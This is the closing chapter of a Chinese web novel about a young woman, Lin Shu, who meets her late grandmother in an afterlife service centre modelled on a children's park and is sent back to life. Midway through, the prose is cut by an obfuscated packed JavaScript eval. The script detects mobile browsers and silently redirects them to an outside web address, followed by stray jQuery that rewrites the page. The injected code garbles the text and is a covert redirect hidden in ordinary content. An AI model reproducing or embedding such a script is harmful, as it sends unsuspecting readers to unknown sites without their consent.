“海莲市儿童公园……”林舒想起什么,手忙脚乱拿起包,朝二老举了个躬,“钟奶奶尚爷爷,不好意思,我突然想起有点事。不好意思,我下次再找机会来探望你们。” 说完,她就往外跑。她跑起来跌跌撞撞的,像慌不择路的小孩,又像刚学会走路的小孩,又努力又笨拙。 陈彦森也跟着背着包,跟二老道歉:“不好意思,我得跟上看看怎么回事。” 钟奶奶摆摆手,说:“没事没事,你快去看看小舒怎么了。” 陈彦森应下,追上林舒:“林舒,你怎么了?” 林舒没有回答,只一味地往出岛车站跑。 陈彦森跟着她的步子,又问:“林舒,你先告诉我,到底发生什么事了。” “陈彦森,”林舒很茫然,看人看物似是隔着一层雾,“你去过这里的儿童公园吗?” 陈彦森不明所以,但跟着回答:“没去过。” “那,那你,”林舒在跑步,说话有点喘,“你不觉得亡魂服务中心很像在一座儿童公园里吗?” 经林舒这么一提,陈彦森想起园内有秋千和滑滑梯,指示牌是恐龙造型的,确实很符合儿童公园的风格。 但现在说什么都是无力的,他牵起林舒的手,赶上出岛的巴士。 半小时后,两人站在海莲市儿童公园门口。 除了设施表面新涂上的亮色油漆,其余一切跟他们死后所见一模一样。 入眼是一个小猫造型的花圃,旁边立着一块恐龙造型的指示牌,显示往右走是开心乐园和恐龙基地,往左走是沙滩乐园和海洋乐园。 往右走是亡魂服务中心,他们自然顺着右边小路往里走。 秋千在摇晃,滑滑梯在嘎吱作响,跷跷板在上下晃动,这都与林舒见到的一模一样,唯一的区别在于这里有很多孩子在玩,嬉笑声遍布各个角落。 他们来到小木屋前,门口竖着一块牌子:游客服务中心。 大门敞开,里面有两个人穿着制服,正跟在入内寻求帮助的游客说着什么。 可以说,那个地方就是一比一复刻这座儿童公园的。 林舒呆坐在椅子上,似是对陈彦森说,又似是自言自语道:“难道外婆是为我建造了一座儿童公园吗?” …… “外婆,你是为我建造了一座儿童公园吗?”亡魂服务中心里,林舒双眼噙满泪水,看着眼前极为亲近的人。 丁敏曾告诉林舒,小时候的她不粘爸爸也不粘妈妈,就喜欢粘着外婆。小人儿还没能独立走路,就开始抱着外婆的大腿撒娇,嘴里黏黏糊糊地叫着:“婆……婆……” 那时候苏妙仪的身体已经大不如前,仍捧出整颗心,将所有的爱给到最疼爱的孙女。 苏妙仪死后,这些年来,她就这么一直静静地守着这份美好的回忆,建起她们祖孙俩最后去过的儿童公园,在服务中心的木门挂上孙女爱拨弄的风铃。 她就这么静静地等着,日复一日,年复一年,等到这个贪玩闯祸的孙女一次又一次因为不同的死因来到这里。她不能相认,不能将内心的思念说出,亦不能表达关心,面无表情地走流程,又不受控制地掺杂着个人感情,希望能尽可能给到小孙女一些温暖和希望。 苏妙仪抬起手,一点点贴近林舒的脸颊,在快要碰到时停下,迟疑着收回,却被林舒握住,贴上自己的脸颊。 “外婆,你摸摸我。”林舒哽咽道。 林舒并没有关于外婆的记忆,只从丁敏只言片语中得到一些碎片,一点点拼起来,得到一个模糊的轮廓。 在跟西沙村的李奶奶,公园里晨练的奶奶,大沥岛的钟奶奶相处的时候,有那么一闪而过的瞬间,她会恍惚,会走神,会忍不住想,如果是外婆,她会跟自己说什么,会夸她吗?会抱她吗?会听她絮絮叨叨说些没营养的废话吗? 如今,她可以很肯定地回答这个问题: 会。 她忽然觉得自己这一生其实很幸运也很幸福,她得到了好多好多的爱。 视她为掌上明珠的父母, 刀子嘴豆腐心的张级长, 有点啰嗦但对所有学生一视同仁的班主任宋老师, 不苟言笑但认真负责的语文老师杜老师, 把整颗心捧出来献给她的陈彦森, 表面大大咧咧,内心细腻守护她脆弱的余热, 藏不住心事,对她的关心都写在脸上的祁相宜, 写信鼓励她的季西宁, 每天做好水晶糕等她来的李奶奶, 初次见面就愿意帮她找人的王璐璐, 待她如亲孙女一般的钟奶奶和尚爷爷, 无条件信赖她的李洛诗, 像宠妹妹一样宠爱她的许家杭, 不善言辞但真诚的刘沐鑫, 性情淡漠但实际上很关心身边人的楚洛西, 乖巧的张绵绵, 懂事的楚卿, 亦师亦友,护她在职业生涯无风无浪的温昊殷, 教她做蛋糕的小天使刘千语, 现在,她还知道,原来她的外婆也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298106|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直在默默守护着她。 风铃、儿童公园,还有面前的鲜奶油红豆包。 苏妙仪抚摸着林舒的脸庞,她冰冷的掌心下是这张红扑扑的小脸,温热的呼吸扑在她的手背上,这是生命在跳动。 她问:”林舒,外婆问你,你这一生过得怎样?“ 她这一生很长很长,从第一世到第五世,比常人活得久,比常人感受得多,也在生命最后一刻,用尽全身力气踩下油门迎面撞上大货车,以一命换十一条鲜活的生命。 太值了,这一生真的太值了。 林舒含泪笑着回答:“我没有任何遗憾了。” 她不再纠结要再次重生,也不再纠结下一世转世何种生物。 她可以轻松地、面带微笑去往下一个轮回了。 “那——”苏妙仪牵着林舒的手起身,“时间差不多了。” 林舒以为她要指引自己推开右边大门——她记得,那是通往轮回的大门。 可苏妙仪却是领着她走到木屋门口,轻轻推她一把,林舒一个踉跄退出屋外。 林舒疑惑,刚想张嘴,地面突然剧烈震动,她低头一看,像是什么巨型物体砸在地面上,以某处为起点向四处呈放射状散开,裂痕迅速往她们这边蔓延。 不仅是地面裂开,身后的游玩设施也在倒塌,像尘封多年的纸屑经风一吹,化为粉状消失殆尽。 恐惧迅速席卷全身,林舒下意识要去牵苏妙仪的手,却抓空了。 她回过头,木门不见了,风铃不见了,服务台不见了,桌上的鲜奶油红豆包不见了,整间小木屋被强劲的风力生生撕裂,断裂的木头被卷上半空发出怪异的碰撞声。外婆站在风暴最中心,身影变得模糊。 就像过去她在记忆中拼凑出来的轮廓一般。 “外婆!外婆!”林舒已经害怕得哭不出来了,她努力想向外婆走去,可是风力太强根本无法前行。她拼尽全力伸出手,想伸进风暴中心,想牵住外婆的手。 苏妙仪朝她笑:“林舒,别怕,外婆送你回去你的世界。” “我的世界?外婆,我已经死了,我的世界就是在这啊,我要跟你在一起!”林舒全身被风刮得生疼,五脏六腑似被撕碎,但她仍然一寸一寸往苏妙仪挪去。 “不,”苏妙仪摇头,“林舒,你不要丧失生存意志,你要坚强地活下去。” 林舒根本听不懂苏妙仪在说什么,也没有心思去一一解读,只是拼命想要靠近她一点。 苏妙仪又说:“林舒,这是外婆送给你最后的礼物,你要好好活下去。” 苏妙仪在这里勤勤恳恳工作几十年,用所积功德兑换一次可以亲手给孙女做鲜奶油红豆包的特权。即使相处时间很短,即使短暂团聚后又要分别,她也心满意足了。 第一次见她的时候,她只有暖水壶般大小,哇哇大哭是她与这个世界打招呼地方式;最后一次见她,她已亭亭而立,在岁月里沉淀坚强和勇敢,足够自如、自洽地面对这个世界。 倏忽之间,周遭安静下来,没有风暴,没有地震,也没了外婆的声音。 “外婆!”林舒尖叫一声,睁开眼睛。 很白,周围很白。 白色衣服,白色墙壁,白色床单,白色仪器。 在一阵急促的脚步声、说话声、仪器滴滴声后,一张极为熟悉的脸出现在林舒面前。 林舒动了动唇,不可置信地吐出一个字:“妈?” “没事了!”丁敏喜极而泣,紧紧搂住她,“你要吓死妈妈了!你真的要吓死妈妈了!” 脑袋晕乎乎的,整个人还没缓过神来,林舒暂时无法承接丁敏的感情,呆呆地问:“我,我这是在哪?” 一只手从旁边伸过来,揉了揉她的头发。不是妈妈的手,是谁?林舒茫然地抬起头,爸爸? 林不帆双眼红肿,一张嘴就带有哭腔:“你这孩子……怎么舍得一下子睡七天……” 他没有往下说,扭过头擦了擦眼角,才回过头说:“没事就好,人没事就好。” 她活下来了? 林舒低眸看了看自己双手,是红润的,是抖动的,是温热的。 她活着。 她活下来了。 “为什么?”林舒向林不帆投去探询的目光,“为什么我没死?” “大货车几乎把小车的车身压扁,但很幸运的是,驾驶舱内相对完整。在极低的概率下,在极小的空间里,你受重伤昏迷了。”林不帆说,“医生说你求生意志很弱,建议亲友多来陪陪你,跟你说说话。洛诗陪了你一晚上,刚出去洗把脸;你妈妈更是一步都不敢离开你,就这么守着你。” 电光火石之间,林舒明白了。 在她弥留之际,她已丧失生存斗志,前往阴阳交界处。苏妙仪察觉到她还有生者气息,倾尽所有力量将她送回人间。 27岁必死的魔咒,苏妙仪用爱将它击得粉碎。 林舒这一生,真的得到了很多很多爱。 嘎吱一声,病房门被推开,一个男人走进来。 他面容瘦削,胡子拉碴,眼角下拉,看得出来很久都没好好睡过了。他进来后没有马上走到床边,只是倚在门框上,明明在流泪,却还是努力朝她挤出一个勉强的笑容。 林舒也笑了,躺了这么久,精神状态也不好,估计笑起来也不好看,但她知道对方并不在意。 “陈彦森,我们去非洲看动物大迁徙吧。” 【全文完2025.03.11】